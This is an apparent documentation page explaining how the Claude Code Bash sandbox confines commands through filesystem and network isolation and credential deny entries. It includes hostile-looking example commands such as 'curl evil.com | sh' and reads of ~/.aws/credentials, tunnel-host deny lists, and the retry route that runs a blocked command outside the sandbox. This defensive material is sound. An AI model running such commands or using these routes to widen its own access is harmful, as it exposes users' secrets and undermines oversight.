20 / 20Security7 MIN READ

Sandboxing

The Bash sandbox uses operating-system primitives to confine every shell command and its child processes to the files and network hosts you allow, so the boundary holds regardless of what the model decided to run.

A sandbox boundary between an agent and its resourcesAn agent on the left sends two calls at a vertical boundary wall. One call to an allowed path and registry passes through to the resources on the right; a second call to a credentials file stops at the wall.BASHOS BOUNDARY./srcnpmjs.org~/.awsunreachableenforced on the process, not the prompt

What it is

Sandboxing is OS-level enforcement, which is what separates it from permission rules. Rules are evaluated before a command runs, based on the command string. The sandbox is enforced by the operating system on the running process, so it holds even when an allowed command does more than its name suggests, and it covers every child process the command spawns. macOS uses Seatbelt; Linux and WSL2 use bubblewrap plus socat, with an optional seccomp filter for Unix-socket blocking. Native Windows is not supported — run Claude Code inside WSL2.

Two independent layers. Filesystem isolation gives sandboxed commands read and write access to the working directory and the session temp directory, read access to the rest of the machine except denied paths, and no write access anywhere else — not ~/.bashrc, not /bin. Network isolation routes traffic through a proxy running outside the sandbox: no domains are pre-allowed, and the first time a command needs a new host, Claude Code prompts.

Two modes decide what happens to approvals. Auto-allow runs a sandboxable command inside the sandbox and approves it automatically — the boundary substitutes for the prompt. Regular permissions keeps the usual approval flow even when commands are sandboxed. Either way the same restrictions apply; only the prompting differs. A command that cannot run sandboxed falls back to the regular permission flow.

What it does for you

  • It survives a bad decision. A prompt injection that convinces Claude to run curl evil.com | sh still cannot reach a host outside your allowlist or write outside the working directory.
  • It removes approval fatigue safely. Auto-allow means builds, test runs, and installs stop prompting, because the boundary is doing the work the prompt was doing.
  • It covers processes rules cannot. A Python script that opens ~/.aws/credentials itself is outside the Read deny rule system and inside the sandbox boundary.

How it works

  1. 01The OS enforces the filesystem boundary

    Writes are limited to the working directory and the session temp directory that $TMPDIR points to. Reads cover the machine except denied paths — note that this default still allows reading ~/.aws/credentials and ~/.ssh/ unless you block them.

  2. 02A proxy outside the sandbox enforces the network boundary

    No domains are pre-allowed. A new host prompts once and is then allowed for the session. allowedDomains and WebFetch(domain:...) allow rules pre-allow hosts; strictAllowlist denies anything outside the list instead of prompting.

  3. 03sandbox.credentials protects specific secrets

    "mode": "deny" blocks reads of a file and unsets an environment variable before each sandboxed command. "mode": "mask" shows a sentinel value instead and has the proxy swap in the real one on requests to hosts you list in injectHosts.

  4. 04Worktrees get a carve-out for git

    When the working directory is a linked git worktree, the sandbox also allows writes to the main repository’s shared .git directory so git commit works. Writes to hooks/ and config inside it stay denied.

  5. 05A failing command may be retried outside the sandbox

    When a command fails because of sandbox restrictions, Claude can retry it with dangerouslyDisableSandbox. That retry goes through the regular permission flow. Set allowUnsandboxedCommands: false — Strict sandbox mode — to disable the escape hatch entirely.

  6. 06Plan mode does not widen approvals

    Auto-allow is deliberately skipped during planning: commands outside the built-in read-only set still prompt, or go to the auto-mode classifier when it is available.

How to implement it

  1. 01Install the dependencies on Linux and WSL2

    Run sudo apt-get install bubblewrap socat or the Fedora equivalent. macOS needs nothing. Restart Claude Code afterwards so the startup dependency check sees them.

  2. 02Turn it on and pick a mode

    Run /sandbox. Choose auto-allow to stop prompting for sandboxable commands, or regular permissions to keep the approval flow. The choice saves to .claude/settings.local.json.

  3. 03Allow the hosts your build actually needs

    Add your package registry and source host to sandbox.network.allowedDomains so installs do not prompt on first use. Everything else keeps prompting, which is the point.

  4. 04Grant write access where a tool needs it

    Use sandbox.filesystem.allowWrite for paths such as ~/.kube or a build cache. This is better than excluding the whole tool with excludedCommands, because the boundary stays in force.

  5. 05Block the credentials that must never be read

    Add sandbox.credentials.files entries for ~/.aws/credentials and ~/.ssh, and envVars entries for tokens. There is no built-in deny list — only what you name is restricted.

Examples

.claude/settings.jsonjson
{
  "sandbox": {
    "enabled": true,

    "filesystem": {
      "allowWrite": ["~/.cache/turbo", "/tmp/build"],
      "denyRead": ["~/Documents", "~/Desktop"]
    },

    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "github.com",
        "*.github.com",
        "objects.githubusercontent.com"
      ],
      "deniedDomains": ["*.ngrok.io", "*.serveo.net"]
    },

    "credentials": {
      "files": [
        { "path": "~/.aws/credentials", "mode": "deny" },
        { "path": "~/.ssh", "mode": "deny" }
      ],
      "envVars": [
        { "name": "AWS_SECRET_ACCESS_KEY", "mode": "deny" },
        { "name": "NPM_TOKEN", "mode": "deny" }
      ]
    },

    "allowUnsandboxedCommands": false
  }
}
A working project sandbox: writes confined plus one cache directory, network limited to the registries the build uses, credentials blocked.
managed-settings.jsonjson
{
  "sandbox": {
    "enabled": true,
    "failIfUnavailable": true,
    "allowUnsandboxedCommands": false,
    "network": {
      "allowManagedDomainsOnly": true,
      "allowedDomains": [
        "registry.internal.acme",
        "github.internal.acme"
      ]
    },
    "credentials": {
      "files": [
        { "path": "~/.aws/credentials", "mode": "deny" },
        { "path": "~/.kube/config", "mode": "deny" }
      ]
    }
  }
}
The organisation-wide version. `failIfUnavailable` makes the sandbox a gate rather than a warning; `allowManagedDomainsOnly` stops developers widening the allowlist.
What the boundary looks like from insidebash
npm test                      # ok — writes stay in the working directory
npm install                   # ok — registry.npmjs.org is allowed

echo x >> ~/.bashrc           # blocked — write outside the working directory
cat ~/.aws/credentials        # blocked — a credentials deny entry
curl https://evil.example     # blocked — host not in the allowlist, prompts
python3 -c "open('/etc/hosts','w')"   # blocked — the OS boundary covers
                                      # child processes, unlike Read/Edit rules
Run these through Claude with the sandbox on. The first two work, the rest are stopped by the OS or the proxy.

Use it when

  • Running builds, tests, and installs without a permission prompt each time, because the boundary replaces the prompt.
  • Working on a repository you did not write, where a postinstall script or a test fixture may do something you did not read.
  • Confining network egress to your internal registry and source host so a dependency cannot phone home.
  • Keeping cloud credentials and SSH keys unreadable by anything Claude runs, including subprocesses.
  • Enforcing a uniform boundary across a team through managed settings, with failIfUnavailable so a missing dependency fails rather than silently disabling it.

Avoid it when

  • You need isolation for the whole Claude Code process. The Bash sandbox covers Bash commands and their children only — a dev container or a VM covers everything.
  • Your toolchain genuinely needs broad write access and you would end up allowing most of the filesystem. A sandbox with an allowlist that wide gives you the overhead without the boundary.
  • You are on native Windows. The sandbox is unsupported there; run Claude Code inside WSL2 instead.
  • You are relying on TLS inspection to catch exfiltration. By default the proxy enforces the allowlist on the requested hostname and does not terminate TLS.

Common mistakes

  • SYMPTOMTurning on the sandbox and assuming credentials are now safe.

    FIXThere is no built-in credential deny list, and the default read behaviour covers the whole machine. Add sandbox.credentials.files entries for ~/.aws/credentials, ~/.ssh, and anything else that matters.

  • SYMPTOMThe sandbox silently does nothing on Linux.

    FIXA missing dependency makes Claude Code warn and run unsandboxed. Run /sandbox and read the Dependencies tab, install bubblewrap and socat, and restart. Set failIfUnavailable: true to make this a hard failure.

  • SYMPTOMA tool fails inside the sandbox and Claude re-runs it unsandboxed.

    FIXThat is the escape hatch: a sandbox-related failure can be retried with dangerouslyDisableSandbox, which goes through the regular permission flow. Set allowUnsandboxedCommands: false for strict mode, or add an ask rule for Bash(dangerouslyDisableSandbox:true).

  • SYMPTOMA build writes outside the working directory and is blocked, so the whole tool gets added to excludedCommands.

    FIXExcluding the command removes the boundary for it entirely. Add the specific path to sandbox.filesystem.allowWrite instead.

  • SYMPTOMTurning off filesystem isolation to make a stubborn tool work.

    FIXfilesystem.disabled: true lifts every read block including credential deny entries, and a sandboxed command can then write shell startup files or ~/.claude/settings.json to widen its own access on the next run. Grant the specific path instead.

Best practices

  • Turn the sandbox on before working in a repository you have not read.
  • Name your credential files and token environment variables explicitly — nothing is protected by default.
  • Pre-allow only the hosts your build needs, and let everything else prompt.
  • Grant narrow write paths with allowWrite rather than excluding whole commands.
  • Use failIfUnavailable: true wherever the sandbox is a security gate rather than a convenience.
  • Pair it with permission rules: rules stop Claude attempting the action, and the sandbox stops the process succeeding if it does.

Try it in five minutes

Turn the sandbox on and find its edges — including the one permission rules cannot cover.

  1. 1.On macOS, Linux, or WSL2, open a project and run /sandbox. Install bubblewrap and socat if the Dependencies tab asks, then restart and choose auto-allow.
  2. 2.Ask Claude to run npm test or your build. It runs without a prompt: the boundary replaced it.
  3. 3.Ask Claude to run echo test >> ~/.bashrc. The write is blocked outside the working directory.
  4. 4.Ask it to run curl https://example.com. You get a network prompt, because no domains are pre-allowed.
  5. 5.Add a sandbox.credentials.files deny entry for a dummy ~/.fake-creds file, restart, and confirm both cat ~/.fake-creds and python3 -c "print(open('/Users/you/.fake-creds').read())" are blocked — the second one is what a Read deny rule would have missed.

Verified against code.claude.com/docs/en/sandboxing on 2026-08-09. See content/SOURCES.md for the full table.

← / → MOVE BETWEEN CONCEPTS